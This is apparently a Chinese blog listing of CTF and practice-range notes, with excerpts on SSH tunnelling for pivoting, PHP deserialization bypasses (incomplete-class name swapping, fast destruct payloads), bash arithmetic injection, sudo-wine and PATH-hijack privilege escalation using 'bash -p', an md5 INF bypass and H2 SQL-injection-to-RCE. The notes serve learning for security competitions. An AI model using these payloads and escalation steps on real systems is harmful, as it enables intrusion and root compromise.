[靶场笔记]第二十五章

ssh -R和-D 先来说说-R 这是个很神奇的参数,有两种用法 -R 1080 -R 1080:localhost:1080 后者和-L用法是反过来的,-L是将远端端口映射到本地端口,这样在本地就能访问远端服务器的服务。-R则是将本地端口映射到远端,这样在远端就能访问本地端口的服务。 前者就厉害了,研究时被AI误导了很久 注意框起来这段话,意思就是,在不使用localhost等指定本地映射的地址和端口号时,会在本地(运行ssh指令的这台机器)自动起一个socks4/5代理服务,并且不会进行转发功能(经过测试得知)。所以如果你想要转发功能而不是让ssh帮你起一个socks4/5,就要写完整。而且ssh起的这个socks代理并不好用,会出现export https_proxy无法正常生效的问题(但proxychains可以) -D就更厉害了,如果在远端服务器上有一些需要你访问,但你又没有权限运行一些类似gost这样的代理工具,就可以用-D来搭建一个socks服务。不仅可以用-L,也可以用-D,-D的原理是在远端起一个socks4/5代理,你只需要在自己电脑上的浏览器将代理地址修改成127.0.0.1:1080,就能用ssh帮你在远端起的代理访问远端的服务,非常适合在低权限渗透环境下使用的一个参数 stripos(‘akared’,$b) 正常情况下,会返回akared所在的起始位置,没找到返回false 如果$b为数组,stripos则会返回null basename($a) 假设$a='/var/www/html/../ii.php';,会返回ii.php 而且各种截断手法在这里基本没有作用,只有一点值得关注,就是特殊字符会被它删掉,比如中文、%ff 对__PHP_Incomplete_Class_Name的补充 在靶场笔记第24章有对__PHP_Incomplete_Class的介绍,最近在CTF里碰到了,再补充一点 当我们手动为__PHP_Incomplete_Class类赋值并反序列化再序列化它时,他会将储存的内容清除。但如果我们手动赋值的是__PHP_Incomplete_Class_Name,它会将它所赋的值在serialize时将类名覆盖成我们赋的值,具体用法如下 <?php $raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}'; $exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}'; var_dump(unserialize($raw)); var_dump(serialize(unserialize($raw))); // object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(1) "F" ["a"]=> string(1) "b" } string(28) "O:1:"F":1:{s:1:"a";s:1:"b";}" 这种特性就可以用来绕过下面这种情况 public $value; $ser = serialize(unserialize($this->value)); $instance = unserialize($ser); if ($ser != $this->value && $instance instanceof Access) { include($instance->getToken()); } 我们的目标是让$instance=new Access;,要达到这一点就是要让$ser='O:6:"Access:"...',但$value的值又不能和$ser一样,因此我们要找一个能经过serialize(unserialize())处理后与目的一致且字符串又不是$ser的技巧,也就是我们的__PHP_Incomplete_Class_Name 具体生成payload如下 $token = new Access(); $ser = serialize($token); $ser = str_replace('Access":2', 'LilRan":3', $ser); $ser = substr($ser, 0, -1); $ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}'; $user->value = $ser; 这样经过两层处理后的$value不仅能达到我们目标$ser的效果,又和$ser在字符串上不一样,因此就能绕过 ...

August 18, 2025 · 1 min · Red

[靶场笔记]第二十四章

Fast destruct 来看一个例子 <?php class A{ public $haha=1; public function __destruct() { echo 3; } } $a=new A; $b=serialize($a); $test=unserialize($b); $test->haha=2; echo $test->haha; //233 可以发现一个很有意思的点,在unserialize和serialize两个函数结束后都没有马上执行echo 3;,而是在最后执行完echo $test->haha;才执行,原理如下 如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。 而有时候我们必须让destruct在unserialize结束后马上结束,就要用到fast destruct。操作起来很简单,一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下 #修改序列化数字元素个数 a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}} #去掉序列化尾部 } a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}} 本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。 serialize(unserialize($x)) != $x 先来看个正常的反序列过程 <?php class A{ public $a='b'; } $raw='O:1:"A":1:{s:1:"a";s:1:"b";}'; var_dump(unserialize($raw)); // object(A)#1 (1) { ["a"]=> string(1) "b" } 理论上,serialize(unserialize($raw))应该就等于$raw本身,但存在一种特殊情况会导致不相等,在讨论前先来看一下下面这个例子 在php中有一个预置类叫__PHP_Incomplete_Class,用来存放“需要进行反序列化的不存在的对象”。什么意思呢,就像下面这样 <?php $raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}'; echo serialize(unserialize($raw)); //O:1:"A":1:{s:1:"a";s:1:"b";} 在这个脚本中并不存在A这个类,但还是反序列化再序列化成功了。来看看它怎么反序列化成功的 <?php $raw='O:1:"A":1:{s:1:"a";s:1:"b";}'; var_dump(unserialize($raw)); // object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(1) "A" ["a"]=> string(1) "b" } 可以看到php把这个不存在的对象放到了__PHP_Incomplete_Class,类名为放到__PHP_Incomplete_Class_Name,剩下部分的放置和正常反序列化一样。那如果我们把__PHP_Incomplete_Class作为已知类进行反序列化呢 ...

April 17, 2025 · 1 min · Red

[HMV]第二章

7066端口 这个端口一般是马,可以直接用nc连试试。不过可能会断联,nmap也可能探测不出来,要多尝试几次 bash中的比较 如果使用-ne,-eq等比较两个值是否相等的办法,会先将变量作为表达式进行执行解析,尝试转化为整数。例如 read -p ">>>" a b=456 if [[ $a -eq $b ]]; then #这里注意,[[]]里要用空格和$a、$b隔开,不然会报错 echo "right" else echo "wrong" fi 可以发现b被直接拿去解析了。就算加引号也会递归 read -p ">>>" a b="c" c=123 if [[ "$a" -eq "$b" ]]; then echo "right" else echo "wrong" fi 代码里是加了""的,但是在debug模式下就不见了,说明bash确实会执行给的表达式 那我们就可以利用递归这一点进行利用。先试试数组 成功利用,试试c[1] 因为c[1]是空的所以是wrong。接着再试试算式 成功执行,那就试试$()吧 wine提权 wine是用来转椅windows程序的,并且自带了windows的cmd环境。如果wine有sudo,可以直接用sudo wine cmd拿到拥有root权限的cmd 当然要是不行的话,也可以用cs上线的方式拿到shell。msfvenom会报错,原因不明。 PATH提权 和windows里的path环境变量有点类似,linux下的PATH一般指向程序的运行路径。例如我们常用的cat,ls等指令,之所以可以直接执行而不用在前面加一大串路径就是因为PATH里给你写好了,比如这是我自己的kali PATH 只要在这些路径下的可执行程序或脚本都可以直接上。 那么这就有可以操作的空间,如果某天你碰到一个开发者自己编译的程序,用string看到里面调用了cat或者ls,并且有suid,那么只需要做下面这波操作就能提权。下面以cat为例 export PATH=/tmp:PATH echo -e '#!/bin/bash\nbash -p' > /tmp/cat chmod +x /tmp/cat ./开发者的程序

March 31, 2025 · 1 min · Red

[靶场笔记]第二十三章

PHP中的特殊md5值 之前碰到过很多md5绕过的小技巧,但是很少提到md5本身的特殊值(印象中只有一个万能密码)。在PHP中,INF和NAN分别表示最大值和最小值,此时如果有类似下面这样的判断条件 if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } 就可以利用INF的特性绕过。因为在PHP中,像9e999999这样庞大的数字时没法超过INF的,所以PHP就会干脆把它直接当成INF,所以INF和9e999999的md5值是相等的。需要注意的是,INF可以是字符串也可以是一种数据,也就是说不用加单引号,因为不管是字符串还是无穷大在md5时都会被当作无穷大(这点就很有意思,可能存在其他的绕过漏洞)。但9e999999一定不能加单引号,否则会被当作字符串 命名空间 之前比较少提到这个,因为国内ctf的php pop题大都是在一个文件里实现的。不过今天偶然遇到了跨文件的pop链构造,就顺便记录一下 想下面这样,就是一个命名空间内的拓展类的定义 namespace Helpers{ use \ArrayIterator; class ArrayHelpers extends ArrayIterator { public $callback; public function current() { $value = parent::current(); $debug = call_user_func($this->callback, $value); return $value; } } } 意思就是定义了一个叫Helpers命名空间,在这个命名空间里可以随意定义各种变量、类的名字,不会和php自带的根空间冲突。比如这个ArrayHelpers就有可能会和php某个自带的函数名冲突,所以才需要再创建一个命名空间来避免这种冲突。 并且ArrayHelpers是ArrayIterator的扩展类,可以看到代码里还use了一下,说明它希望使用ArrayIterator这个命名空间里的一些函数,而不是使用php自带的。比如下面的current 假设这段代码被单独放到一个文件里,那么要引用他就需要先将这个文件include一下,然后再use 这里有一个很重要的细节,就是Helpers\ArrayHelpers和\Helpers\ArrayHelpers本质上是两种完全不同的东西。其实就和绝对/相对路径的道理一样,前者是当前命名空间下的命名空间引用,后者是从根空间开始引用。 如果在构造pop链的时候发现语法正确但无响应,就可以检查一下是不是命名空间的路径错了 java h2数据库 这是java自带的一种嵌入式数据库,之所以叫嵌入式,不仅是因为它可以被当成java的包被import,跟重要的是它能够执行java代码。也就是说,一旦存在sql拼接,像下面这样存在sql注入的话 String query = String.format("Select * from notes where name ='%s' ", name); 就可以通过创建alias调用java代码,从而达到RCE的效果 ...

March 21, 2025 · 1 min · Red

[靶场笔记]第二十三章

PHP中的特殊md5值 之前碰到过很多md5绕过的小技巧,但是很少提到md5本身的特殊值(印象中只有一个万能密码)。在PHP中,INF和NAN分别表示最大值和最小值,此时如果有类似下面这样的判断条件 if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } 就可以利用INF的特性绕过。因为在PHP中,像9e999999这样庞大的数字时没法超过INF的,所以PHP就会干脆把它直接当成INF,所以INF和9e999999的md5值是相等的。需要注意的是,INF可以是字符串也可以是一种数据,也就是说不用加单引号,因为不管是字符串还是无穷大在md5时都会被当作无穷大(这点就很有意思,可能存在其他的绕过漏洞)。但9e999999一定不能加单引号,否则会被当作字符串 命名空间 之前比较少提到这个,因为国内ctf的php pop题大都是在一个文件里实现的。不过今天偶然遇到了跨文件的pop链构造,就顺便记录一下 想下面这样,就是一个命名空间内的拓展类的定义 namespace Helpers{ use \ArrayIterator; class ArrayHelpers extends ArrayIterator { public $callback; public function current() { $value = parent::current(); $debug = call_user_func($this->callback, $value); return $value; } } } 意思就是定义了一个叫Helpers命名空间,在这个命名空间里可以随意定义各种变量、类的名字,不会和php自带的根空间冲突。比如这个ArrayHelpers就有可能会和php某个自带的函数名冲突,所以才需要再创建一个命名空间来避免这种冲突。 并且ArrayHelpers是ArrayIterator的扩展类,可以看到代码里还use了一下,说明它希望使用ArrayIterator这个命名空间里的一些函数,而不是使用php自带的。比如下面的current 假设这段代码被单独放到一个文件里,那么要引用他就需要先将这个文件include一下,然后再use 这里有一个很重要的细节,就是Helpers\ArrayHelpers和\Helpers\ArrayHelpers本质上是两种完全不同的东西。其实就和绝对/相对路径的道理一样,前者是当前命名空间下的命名空间引用,后者是从根空间开始引用。 如果在构造pop链的时候发现语法正确但无响应,就可以检查一下是不是命名空间的路径错了 java h2数据库 这是java自带的一种嵌入式数据库,之所以叫嵌入式,不仅是因为它可以被当成java的包被import,跟重要的是它能够执行java代码。也就是说,一旦存在sql拼接,像下面这样存在sql注入的话 String query = String.format("Select * from notes where name ='%s' ", name); 就可以通过创建alias调用java代码,从而达到RCE的效果 ...

March 21, 2025 · 1 min · Red